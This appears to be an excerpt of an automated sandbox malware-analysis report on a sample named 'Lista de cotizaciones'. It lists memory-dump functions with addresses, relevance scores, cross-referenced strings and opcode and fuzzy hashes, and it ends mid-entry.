Opcode Fuzzy Hash: 74830bdd560e6cee03cb9031d36eabb889f02ede6aa777c74aadd185629b464b
Instruction Fuzzy Hash: 66713874E007088FD749EF6AE85479EBBF6BF89300F14D029D105AB269EB7459868F41

Function 0514794F Relevance: 3.8, Strings: 3, Instructions: 49COMMON

Download Yara Rule

Strings

,, xrefs: 05147A02
7, xrefs: 051479DC
., xrefs: 05147D5A

Memory Dump Source

Source File: 00000001.00000002.1382559563.0000000005140000.00000040.00000800.00020000.00000000.sdmp, Offset: 05140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5140000_Lista de cotizaciones.jbxd

Similarity

API ID:
String ID: ,$.$7
API String ID: 0-2529501746
Opcode ID: e640ce033cde3e2891354a6571db39ac970df8b8171ed34fd28b1620bb60fe76
Instruction ID: 86258023c7a1a7dad521064e8dbf851e0e2449195d2092c70a98339de25dcbc8
Opcode Fuzzy Hash: e640ce033cde3e2891354a6571db39ac970df8b8171ed34fd28b1620bb60fe76
Instruction Fuzzy Hash: D421E2B4A002A8CFDB60DF54C984BEDBBB1AB49304F1090EAD909A7244DB749EC5CF54

Function 05146D6C Relevance: 3.8, Strings: 3, Instructions: 45COMMON

Download Yara Rule

Strings

D, xrefs: 05146DEF
@, xrefs: 05147CBB
4, xrefs: 05146DC9

Memory Dump Source

Source File: 00000001.00000002.1382559563.0000000005140000.00000040.00000800.00020000.00000000.sdmp, Offset: 05140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5140000_Lista de cotizaciones.jbxd

Similarity

API ID:
String ID: 4$@$D
API String ID: 0-1292908765
Opcode ID: aa73a1125cfb1b2b987c43d215f48c9dd55dff39d43ffc4e0beceb67114fcd18
Instruction ID: cfaa036ec1e4faa201e978bade3d018aca434dcc6aa2ad00b794eb5a87f6bef4
Opcode Fuzzy Hash: aa73a1125cfb1b2b987c43d215f48c9dd55dff39d43ffc4e0beceb67114fcd18
Instruction Fuzzy Hash: A02180B49012A8CFDB60CF54C988BECBBB1BB49309F0494EAD509A7250D7355EC9CF50

Function 051474B6 Relevance: 2.5, Strings: 2, Instructions: 23COMMON

Download Yara Rule

Strings

*, xrefs: 051474E4
<, xrefs: 0514750A

Memory Dump Source

Source File: 00000001.00000002.1382559563.0000000005140000.00000040.00000800.00020000.00000000.sdmp, Offset: 05140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5140000_Lista de cotizaciones.jbxd

Similarity

API ID:
String ID: *$<
API String ID: 0-337413893
Opcode ID: 535e0f3a33d8f7afa5bee89cee190eff58b0250f8f7cd5f12356d462de9545c3
Instruction ID: d99b4d791570c23e887dc33ef9dd00ebb100874144aab2f75c80b1f2c13c9e8d
Opcode Fuzzy Hash: 535e0f3a33d8f7afa5bee89cee190eff58b0250f8f7cd5f12356d462de9545c3
Instruction Fuzzy Hash: 13F0A474A01269CFDB20DF15DA88BE8BBB1BB06348F0095EAD40AA3241D7349A85CF44

Function 05147694 Relevance: 2.5, Strings: 2, Instructions: 23COMMON

Download Yara Rule

Strings

, xrefs: 051476C5
:, xrefs: 051476EB

Memory Dump Source

Source File: 00000001.00000002.1382559563.0000000005140000.00000040.00000800.00020000.00000000.sdmp, Offset: 05140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5140000_Lista de cotizaciones.jbxd

Similarity

API ID:
String ID: $:
API String ID: 0-4041779174
Opcode ID: 8551861efc0da11daa46973a444fd1e55a63c122bf4d1affa1afc79f01188611
Instruction ID: 0c137d83b2054d033653479afaaa5ff5e127d9cd52a0f8ab18254709fee70f46
Opcode Fuzzy Hash: 8551861efc0da11daa46973a444fd1e55a63c122bf4d1affa1afc79f01188611
Instruction Fuzzy Hash: A2F0B774A042A8CFCB60DF14D998BD8BBB2BB06319F0454EAD509A3250D7749EC5CF44

Function 071A281B Relevance: 1.3, Strings: 1, Instructions: 46COMMON

Download Yara Rule

Strings

9, xrefs: 071A285D

Memory Dump Source

Source File: 00000001.00000002.1386829942.00000000071A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_71a0000_Lista de cotizaciones.jbxd

Similarity

API ID:
String ID: 9
API String ID: 0-2366072709
Opcode ID: f22dafef371922142ae5cdec2e25b19da3e14c7875a7baa0c3cfe847e66e70ab
Instruction ID: 8f6103f49b2e83a60c942b10b83cdd606f370c0aaf9b7b0b38e00b0e3e0f6022
Opcode Fuzzy Hash: f22dafef371922142ae5cdec2e25b19da3e14c7875a7baa0c3cfe847e66e70ab
Instruction Fuzzy Hash: CE21E5B4910229CFDB64DF24D895AD9B7B1FB49341F1000EAD41DA7380EB30AEC58F10

Function 05146B6F Relevance: 1.3, Strings: 1, Instructions: 38COMMON

Download Yara Rule

Strings

9, xrefs: 05147A90

Memory Dump Source

Source File: 00000001.00000002.1382559563.0000000005140000.00000040.00000800.00020000.00000000.sdmp, Offset: 05140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5140000_Lista de cotizaciones.jbxd

Similarity

API ID:
String ID: 9
API String ID: 0-2366072709
Opcode ID: dfea772284524e9a7f37fb30576fad20927b2b89141c7744915a5ba7ee0c4d78
Instruction ID: c2806061ba349604931f36fbd5f0c67aa190128a7f1019ebcaafe1fd4e93b9f4
Opcode Fuzzy Hash: dfea772284524e9a7f37fb30576fad20927b2b89141c7744915a5ba7ee0c4d78
Instruction Fuzzy Hash: EE114C70A0525CCFC764CF14C998BE9BBF5FB0A304F0594EAD50AA7281DB345A86CF51

Function 051477E0 Relevance: 1.3, Strings: 1, Instructions: 36COMMON

Download Yara Rule

Strings

", xrefs: 051472F1

Memory Dump Source

Source File: 00000001.00000002.1382559563.0000000005140000.00000040.00000800.00020000.00000000.sdmp, Offset: 05140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5140000_Lista de cotizaciones.jbxd

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: 83a2ace61dfd682aa09f3c4f9dab5a3009b4738541608002ff2bf9e9507a53b3
Instruction ID: b02164bb40e0daa4c86dd0e49fcb949011451e4aea52363eb6388ae16da95ca9
Opcode Fuzzy Hash: 83a2ace61dfd682aa09f3c4f9dab5a3009b4738541608002ff2bf9e9507a53b3
Instruction Fuzzy Hash: 4511E5B4A05268CFDB64CF54D888BDCBBB2BB09304F0094E6D649A3240DBB41EC4CF44

Function 05147A17 Relevance: 1.3, Strings: 1, Instructions: 31COMMON

Download Yara Rule

Strings

9, xrefs: 05147A90

Memory Dump Source

Source File: 00000001.00000002.1382559563.0000000005140000.00000040.00000800.00020000.00000000.sdmp, Offset: 05140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5140000_Lista de cotizaciones.jbxd

Similarity

API ID:
String ID: 9
API String ID: 0-2366072709
Opcode ID: 2d4ac05ebb40622a53b9b042552bbc625ba11a2157d7c5e9d85c7ba440775f9a
Instruction ID: 730dbeac5dec601ab9477264f4f065539a6649e1f9b308b792b9db5f3adf3c9c
Opcode Fuzzy Hash: 2d4ac05ebb40622a53b9b042552bbc625ba11a2157d7c5e9d85c7ba440775f9a
Instruction Fuzzy Hash: B10104B0A012588FDB69CF14C990BD9B7F1BB0A304F4094EAC50AA7240DB30AE85CF55

Function 05147271 Relevance: 1.3, Strings: 1, Instructions: 28COMMON

Download Yara Rule

Strings

", xrefs: 051472F1

Memory Dump Source

Source File: 00000001.00000002.1382559563.0000000005140000.00000040.00000800.00020000.00000000.sdmp, Offset: 05140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5140000_Lista de cotizaciones.jbxd

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: ab1dfeda05d4f0361eb3e826697b0eadb5a8d64aa6556e801f946c1652827216
Instruction ID: 64d061cf24086ef903b6b1a6087daca89152dfcc518c82734f04fb73ea2668f1
Opcode Fuzzy Hash: ab1dfeda05d4f0361eb3e826697b0eadb5a8d64aa6556e801f946c1652827216
Instruction Fuzzy Hash: 6F01D274A012289FCB64DF54D894BDDBBB2BB49300F5080EA9949A7250DB702EC0CF44

Function 05142008 Relevance: .3, Instructions: 302COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1382559563.0000000005140000.00000040.00000800.00020000.00000000.sdmp, Offset: 05140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5140000_Lista de cotizaciones.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 582523f51e8c530a3f50241abf892ac20012a39f14b061a608887334ba3f6cc6
Instruction ID: ae4fee90933f1f41719794aa2d2e8331f782d65b2610c24ca62ca2b5cce5d17a
Opcode Fuzzy Hash: 582523f51e8c530a3f50241abf892ac20012a39f14b061a608887334ba3f6cc6
Instruction Fuzzy Hash: A0E1E4B8A00218CFDB64DF69D885BADBBF2FB49300F2091A9E519A7349DB7459C5CF10

Function 05142162 Relevance: .3, Instructions: 296COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1382559563.0000000005140000.00000040.00000800.00020000.00000000.sdmp, Offset: 05140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5140000_Lista de cotizaciones.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c23a6ebe8b0f1ae6af50a266da2e7ac0f285125b22ebece9c52cd749c069550
Instruction ID: d92511ed5538c28a1e73b5a46304084c89d386d0472d07695ec396cf93e6f9c4
Opcode Fuzzy Hash: 0c23a6ebe8b0f1ae6af50a266da2e7ac0f285125b22ebece9c52cd749c069550
Instruction Fuzzy Hash: 66E1D2B8A00218CFDB64DF68D885BADBBF2FB49300F2091A9E559A7349DB7459C5CF10

Function 05142792 Relevance: .3, Instructions: 293COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1382559563.0000000005140000.00000040.00000800.00020000.00000000.sdmp, Offset: 05140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5140000_Lista de cotizaciones.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b21c320a97ff4193e27300c8632eea5ead36741dabae051706351b53890156f
Instruction ID: 7ea6877afb0bcd91ff3adf154857937a290124b68a3fec81395090251603bc0e
Opcode Fuzzy Hash: 9b21c320a97ff4193e27300c8632eea5ead36741dabae051706351b53890156f
Instruction Fuzzy Hash: EED1F378A04218CFDB64DF69D884BAEBBF2FB49300F2091A9E519A7349DB7459C5CF10

Function 0514233F Relevance: .3, Instructions: 273COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1382559563.0000000005140000.00000040.00000800.00020000.00000000.sdmp, Offset: 05140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5140000_Lista de cotizaciones.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 287d9ac4c4949c4305435fd1782c23d40843f59063903649e5fd5cc6e95a3cb3
Instruction ID: e56e05354f986df466f4a50952eb0c1708ab6ee49d818e3247f54c72793f1ff1
Opcode Fuzzy Hash: 287d9ac4c4949c4305435fd1782c23d40843f59063903649e5fd5cc6e95a3cb3
Instruction Fuzzy Hash: 5BD1E378A00218CFDB64DF68D885BADBBF2FB49700F2091A9E519A7349DB7459C5CF10

Function 05143045 Relevance: .2, Instructions: 235COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1382559563.0000000005140000.00000040.00000800.00020000.00000000.sdmp, Offset: 05140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5140000_Lista de cotizaciones.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d7ac1a05096b81bba03a383dd571daabdd013c207a560433f38f378d9547b99
Instruction ID: 48ca1a2a1f832029495e5c410a3b93e071ee647249fc442116c5d9fba9b3d0ce
Opcode Fuzzy Hash: 2d7ac1a05096b81bba03a383dd571daabdd013c207a560433f38f378d9547b99
Instruction Fuzzy Hash: 11B1F074A04208DFDB54DFA9D484BAEBBF2FB49300F20656AE419AB349DB7059C9CF04

Function 05144C84 Relevance: .2, Instructions: 235COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1382559563.0000000005140000.00000040.00000800.00020000.00000000.sdmp, Offset: 05140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5140000_Lista de cotizaciones.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 92f1756f4553c5489db6ae59b9535dad77f88a6ff3976e58f5d38572f7816dca
Instruction ID: 51adabf0047273af3d60e051c49d8fda7584f4d23905f5538e111066f9b0dac4
Opcode Fuzzy Hash: 92f1756f4553c5489db6ae59b9535dad77f88a6ff3976e58f5d38572f7816dca
Instruction Fuzzy Hash: 42C11674A00218CFDBA4EF68D894BADBBF2FB49300F1091A9D54AA7359DB745E84CF05

Function 02681939 Relevance: .2, Instructions: 229COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1360646455.0000000002680000.00000040.00000800.00020000.00000000.sdmp, Offset: 02680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2680000_Lista de cotizaciones.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f16793d537507ab5fe0a793ebecd1f22a8700147f1a62a984cdc95f76bec0632
Instruction ID: 0bec27caa9c0a89350715c39e4157ba4a6ef79cbf7ad20033c9296bfc1f2f8c4
Opcode Fuzzy Hash: f16793d537507ab5fe0a793ebecd1f22a8700147f1a62a984cdc95f76bec0632
Instruction Fuzzy Hash: C3A11834A00204DFDB09EF58D484B99B7F2FB86310F5582A5E419AB769D774AC86CF50

Function 051461D0 Relevance: .2, Instructions: 213COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1382559563.0000000005140000.00000040.00000800.00020000.00000000.sdmp, Offset: 05140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5140000_Lista de cotizaciones.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d1167efdc7165c18ba26e9268c363e8c588679b909c2044f68ef057eb3f77b68
Instruction ID: f82187a9d31f95944e3fc07f6008575258b1d2b6465b27a36d4a7f852d126c60
Opcode Fuzzy Hash: d1167efdc7165c18ba26e9268c363e8c588679b909c2044f68ef057eb3f77b68
Instruction Fuzzy Hash: E9A15AB4A00218DFDF54DFA8D844BAEBBF2FB4A304F109169D409A7399DB745A89CF14

Function 0514022E Relevance: .2, Instructions: 203COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1382559563.0000000005140000.00000040.00000800.00020000.00000000.sdmp, Offset: 05140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5140000_Lista de cotizaciones.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff95382250fdc1770eaa5921a68d4e95f5525e22688ad2dd8533c7c300bd19f9
Instruction ID: e7f1afed202ae44853387386c690e80886d750b68f4869810a24f363ecccf9e7
Opcode Fuzzy Hash: ff95382250fdc1770eaa5921a68d4e95f5525e22688ad2dd8533c7c300bd19f9
Instruction Fuzzy Hash: 70A1E374A45228DFDB65DF29E944BA9BBF2BB49700F1090EAD80DA7255DB309EC5CF00

Function 051438B0 Relevance: .2, Instructions: 196COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1382559563.0000000005140000.00000040.00000800.00020000.00000000.sdmp, Offset: 05140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5140000_Lista de cotizaciones.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec0a17f51dc2ef71981211d2e6a863a448a6bf9cd30c97cfeedec697ab164fa1
Instruction ID: 621fade9ae8b51c9470c871e74a93757ced820f1112176eb5c162d32b6aef476
Opcode Fuzzy Hash: ec0a17f51dc2ef71981211d2e6a863a448a6bf9cd30c97cfeedec697ab164fa1
Instruction Fuzzy Hash: 6B813574D09208CFDB64DFA9D484BADBBF2BF4A300F24A56AD429A7256D73459C5CF00

Function 05143B32 Relevance: .2, Instructions: 188COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1382559563.0000000005140000.00000040.00000800.00020000.00000000.sdmp, Offset: 05140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5140000_Lista de cotizaciones.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fde904543dd75fb52f4111672750e28d90b98b3852f52cbbbf8a867b632b9a8b
Instruction ID: 681130bc96ea985ff7f9afa7d6a3eb87d252c66a6ee6457ea95c733740ae9346
Opcode Fuzzy Hash: fde904543dd75fb52f4111672750e28d90b98b3852f52cbbbf8a867b632b9a8b
Instruction Fuzzy Hash: E481E174D09208CFDB64DFA9D884BADBBF2BF49300F24A529D429A7259DB3459C5CF10

Function 05144DDD Relevance: .2, Instructions: 185COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1382559563.0000000005140000.00000040.00000800.00020000.00000000.sdmp, Offset: 05140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5140000_Lista de cotizaciones.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb61262d41b250808ecd59c76ea4f9c3a2c9839424ff49b38e460a02a81459bd
Instruction ID: 0f4fe66eb1816513bc4e21d659dab12faba72957fe36aaa7b74030ab0065166d
Opcode Fuzzy Hash: cb61262d41b250808ecd59c76ea4f9c3a2c9839424ff49b38e460a02a81459bd
Instruction Fuzzy Hash: DBA1F374A00218CFDBA4EF68D891BADBBB2FB49300F1091A9D54DA7359DB301E95CF51

Function 05144C10 Relevance: .2, Instructions: 183COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1382559563.0000000005140000.00000040.00000800.00020000.00000000.sdmp, Offset: 05140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5140000_Lista de cotizaciones.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc025208e34571cbd8d73e958784a46bcfa19c1b2ca2b4bc69825bfe498fc217
Instruction ID: ef0731ae0673c58bbdaf7a04ded7c0388b6656b07e4edcc41bb7ab14d5c18518
Opcode Fuzzy Hash: cc025208e34571cbd8d73e958784a46bcfa19c1b2ca2b4bc69825bfe498fc217
Instruction Fuzzy Hash: 0A91C374A002188FDBA4EF68D891BADBBB2FB89300F1091A9D54DA7359DB305E94CF51

Function 05144D82 Relevance: .2, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1382559563.0000000005140000.00000040.00000800.00020000.00000000.sdmp, Offset: 05140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5140000_Lista de cotizaciones.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f27f329311e0c911a433753fecd13833ee043d3f397003fb70ddc2c8e68f521a
Instruction ID: 5f7da6da5f0853ac02d667126e81f7ddd4b5ff11943d69502136dd115de78b03
Opcode Fuzzy Hash: f27f329311e0c911a433753fecd13833ee043d3f397003fb70ddc2c8e68f521a
Instruction Fuzzy Hash: E1910574A00218CFDBA4EF68D895BAEBBB2FB49300F1091A9D54DA7359DB305E94CF11

Function 05144A28 Relevance: .2, Instructions: 158COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1382559563.0000000005140000.00000040.00000800.00020000.00000000.sdmp, Offset: 05140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5140000_Lista de cotizaciones.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c79e8bdde54aba7b43879b8bd5a92bcdcf1d584a080ee80a6a6fedb536510842
Instruction ID: a5ac94ee62a59eeb2a3f8d679260e06ec5cce61890a11b6c732f4ebff78cd84e
Opcode Fuzzy Hash: c79e8bdde54aba7b43879b8bd5a92bcdcf1d584a080ee80a6a6fedb536510842
Instruction Fuzzy Hash: D581E374A00218CFDBA4EF68D890BADBBB2FB49300F1091A9D54DA7359DB305E94CF51

Function 05145029 Relevance: .2, Instructions: 155COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1382559563.0000000005140000.00000040.00000800.00020000.00000000.sdmp, Offset: 05140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5140000_Lista de cotizaciones.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3dac0fac48b4b52b133933dec206e1b20f78ec5f8869cc7e44e7fc8a9d6b65ba
Instruction ID: 65e9daabc89d1971f24fd8d6acef25f8ed7edf98bd0e345223e8260ed9d0e08b
Opcode Fuzzy Hash: 3dac0fac48b4b52b133933dec206e1b20f78ec5f8869cc7e44e7fc8a9d6b65ba
Instruction Fuzzy Hash: FF81C274A00218CFDBA4EF68D891B9EBBB2FB49300F1091A9D54DA7359DB305E94CF51

Function 05141967 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1382559563.0000000005140000.00000040.00000800.00020000.00000000.sdmp, Offset: 05140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5140000_Lista de cotizaciones.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21de8990ff9bf9bc4ea78ce20281297b1aca4be022a42cec06eae272383c2ffd
Instruction ID: 2666bf4d58534ebefda968da56f76807d7f8115ef9535e8736edc50202b8add5
Opcode Fuzzy Hash: 21de8990ff9bf9bc4ea78ce20281297b1aca4be022a42cec06eae272383c2ffd
Instruction Fuzzy Hash: A4413D74A001188FDB94EF28E955B9E7BB2EB49300F5081EAD90EA7349DB309DC5CF11

Function 02683826 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1360646455.0000000002680000.00000040.00000800.00020000.00000000.sdmp, Offset: 02680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2680000_Lista de cotizaciones.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c5e95596cf4d901815f7c70353a141dc4d71f19722cb79703b8dc118d7c5dd21
Instruction ID: 435ff9fb8630a7c1b3d5076a9fa8477dd306eed26983d0ef8551d685f2fbc1df
Opcode Fuzzy Hash: c5e95596cf4d901815f7c70353a141dc4d71f19722cb79703b8dc118d7c5dd21
Instruction Fuzzy Hash: 2F3138B0D002589FDB20DFA9C584ADEBFF5BF48710F248469E819AB350DB749941CFA0

Function 0268B319 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1360646455.0000000002680000.00000040.00000800.00020000.00000000.sdmp, Offset: 02680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2680000_Lista de cotizaciones.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 79735f19e4ab1b856150077d039caf05eb2ae4ac9bf5da6858a2dd4127c0c4f8
Instruction ID: 3cb43f83feaba507fb2b71aace33efd0f1ba2dcde57ebab4571dc5e686364a17
Opcode Fuzzy Hash: 79735f19e4ab1b856150077d039caf05eb2ae4ac9bf5da6858a2dd4127c0c4f8
Instruction Fuzzy Hash: BC315870E00609DFCB04DFA9C889A9EBBF5FF4A304F1495AAD615E7220E7749A84CF50

Function 02683830 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1360646455.0000000002680000.00000040.00000800.00020000.00000000.sdmp, Offset: 02680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2680000_Lista de cotizaciones.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72ca29eb01202dffc8331967841af3e0fe79d805db928002d3121169f7f1acf8
Instruction ID: 5aaf6ad62a6313a683f2688956fc8e0dbe027bd5f533380ac82cf8d90420fff0
Opcode Fuzzy Hash: 72ca29eb01202dffc8331967841af3e0fe79d805db928002d3121169f7f1acf8
Instruction Fuzzy Hash: 6D3128B0D002489FDB24DFA9C584ADEBFF5BF48710F248469E819AB350DB759941CFA0

Function 0268AF18 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1360646455.0000000002680000.00000040.00000800.00020000.00000000.sdmp, Offset: 02680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2680000_Lista de cotizaciones.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed4a170c69f8c24fafc7b4b23a9dfca77905361c70bdb0fabcf1a3e381afaaa5
Instruction ID: bc9b61292dcf5b98a74412a175fbfcb4b7c9f652fa45d67c89591f4e2bc6a0a3
Opcode Fuzzy Hash: ed4a170c69f8c24fafc7b4b23a9dfca77905361c70bdb0fabcf1a3e381afaaa5
Instruction Fuzzy Hash: 68318BB1D05208DFDB00EFA9D4497ADBBF2FB49304F1092AAD919A3345DB748A89CF15

Function 0268B328 Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1360646455.0000000002680000.00000040.00000800.00020000.00000000.sdmp, Offset: 02680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2680000_Lista de cotizaciones.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1979431b090f8ed4c54c07f233608f6cd3c47898603a6612e27a3fb0d59c124
Instruction ID: 54f528643ed88463233778b36e0240b967337fa2b1ab6d54c346c96ed874d4dc
Opcode Fuzzy Hash: b1979431b090f8ed4c54c07f233608f6cd3c47898603a6612e27a3fb0d59c124
Instruction Fuzzy Hash: 213125B0E00609DFDB04EFA9C4486AEBBF5FF4A304F149569D615E7220EB749A85CF50

Function 051452C9 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1382559563.0000000005140000.00000040.00000800.00020000.00000000.sdmp, Offset: 05140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5140000_Lista de cotizaciones.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58ced4f2cdd103f31914ffd710d00bb8685e466d81ba61de4449ee052f65f550
Instruction ID: 34d862631c11ae7f9c6b713e6e3c5241c01275d162e35fdbe8c034a0fddabdef
Opcode Fuzzy Hash: 58ced4f2cdd103f31914ffd710d00bb8685e466d81ba61de4449ee052f65f550
Instruction Fuzzy Hash: 0D216874E04209DFDB04DFA9E844BAEBBF2FF8A300F51906AD045A7295D7745A88CF51

Function 00B3D6C8 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1359537715.0000000000B3D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B3D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b3d000_Lista de cotizaciones.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c83d74cb3ebe7c41d7db2f0028b7b0eca1b039d6c51d285e3e50b02419ad5ce0
Instruction ID: 2fd2303bd4fc5a790c3c634d6bdb14cbba002bee761313695f2b15f7dea0edae
Opcode Fuzzy Hash: c83d74cb3ebe7c41d7db2f0028b7b0eca1b039d6c51d285e3e50b02419ad5ce0
Instruction Fuzzy Hash: B9210376504200DFDB15DF10E9C0F26BBA6FB98314F3085A9E8090B256C336D856CBA2

Function 0268AF28 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1360646455.0000000002680000.00000040.00000800.00020000.00000000.sdmp, Offset: 02680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2680000_Lista de cotizaciones.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9539cab27ba84ea08abb9961b775ad86cb9e91882efc29ca0ceb203718fb7a58
Instruction ID: 19c1a1c4434b08b0fd99027b43f90bfe545aa281b671700d4a443c82ecdd88e1
Opcode Fuzzy Hash: 9539cab27ba84ea08abb9961b775ad86cb9e91882efc29ca0ceb203718fb7a58
Instruction Fuzzy Hash: 8B316DB0D01208DFDB04EFA9D4497ADBBF2FB49305F1092A6D919A3345DB744A89CF15

Function 00C5D0A0 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1359680055.0000000000C5D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C5D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c5d000_Lista de cotizaciones.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5dbd0b675b757592772528b322743ac4fe7845e2715c2458dec1abfb42be294
Instruction ID: 34343f0c1eed156a4671e5aad01044d6599d79c26de71f20c0b5e70a616158d7
Opcode Fuzzy Hash: d5dbd0b675b757592772528b322743ac4fe7845e2715c2458dec1abfb42be294
Instruction Fuzzy Hash: 01210379504700DFDB25DF10D9C0B1BBB65EBC8321F208169DC0A0B256C33AD98ACBA6

Function 051452D8 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1382559563.0000000005140000.00000040.00000800.00020000.00000000.sdmp, Offset: 05140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5140000_Lista de cotizaciones.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bbd619a1f266827ac0d54a6722cd4dd7e99158c9c0c0c0c87263c86aae71230c
Instruction ID: 16c4ed1c356f0092f0079bf59f98804a11751d455aa5d67181476eab56aad066
